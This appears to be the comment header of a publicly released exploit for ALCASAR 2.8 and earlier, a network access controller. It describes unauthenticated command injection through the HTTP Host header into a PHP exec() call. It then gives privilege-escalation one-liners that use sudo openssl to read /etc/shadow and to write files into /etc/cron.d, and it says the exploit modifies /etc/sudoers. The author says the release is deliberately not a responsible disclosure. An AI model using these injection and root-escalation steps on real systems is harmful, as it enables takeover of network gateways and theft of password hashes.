ALCASAR <= 2.8 Remote Root Code Execution Vulnerability. ALCASAR is a Network Access Controller that authenticates, attributes, and protects users' access regardless of their connected equipment. Trivial vulnerability in ALCASAR Web UI allows unauthorized users to execute commands as the Apache user and access sensitive files as root using the /usr/bin/openssl command

#
# ALCASAR is a free Network Access Controller which controls the Internet 
# consultation networks. It authenticates, attributes and protects users'
# access regardless their connected equipment (PC, Pokédex, game console,
# etc.).
#
#
# ALCASAR Web UI, accessible by any unauthenticated user, suffers from a 
# trivial vulnerability. In the "index.php" file:
#
#   $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
#   exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
#
# By sending a specially crafted value in the "host" HTTP header, it is possible
# to inject the exec() function in order to execute commands as Apache user.
# 
# In addition, the Apache user is able to call sudo for these binaries:
# 
# /sbin/ip,/sbin/arping,/sbin/arp,/usr/sbin/arpscan,/usr/sbin/tcpdump,/usr/local/bin/alcasar-watchdog.sh,/usr/local/sbin/alcasar-dhcp.sh
# /usr/local/bin/alcasar-conf.sh
# /usr/local/sbin/alcasar-mysql.sh
# /usr/local/sbin/alcasar-bl.sh,/usr/local/sbin/alcasar-havp.sh,/usr/local/bin/alcasar-file-clean.sh,/usr/local/sbin/alcasar-url_filter.sh
# /usr/local/sbin/alcasar-nf.sh,/usr/local/bin/alcasar-iptables.sh,/usr/sbin/ipset 
# /usr/local/bin/alcasar-archive.sh
# /usr/bin/radwho,/usr/sbin/chilli_query
# /usr/local/sbin/alcasar-logout.sh
# /sbin/service,/usr/bin/killall,/sbin/chkconfig,/bin/systemctl
# /usr/bin/openssl
# 
# As a result, we can use /usr/bin/openssl to read a file as root:
# 
#   sudo /usr/bin/openssl base64 -in /etc/shadow -A | base64 -d
# 
# Or to create or overwrite files as root (create a cron job, edit /etc/sudoers, etc.):
#
#   echo cHduZWQK | sudo /usr/bin/openssl base64 -d -out /etc/cron.d/pwned
#
# In this exploit, I choose to modify the "sudoers" file.
# 
# Note: this vulnerability has been discovered in less than 30 seconds.
# Others vulnerabilities are still present. This code has never been audited...
# The PHP code is dreadful and needs to be rewritten from scratch.
#
# Example (post-auth) in file acc/admin/activity.php:
#
#   if (isset($_POST['action'])){
#       switch ($_POST['action']){
#            case 'user_disconnect' :
#               exec ("sudo /usr/sbin/chilli_query logout $_POST[mac_addr]");
#
#
# This is not a responsible disclosure coz' I have no sense of ethics and I couldn't care less.
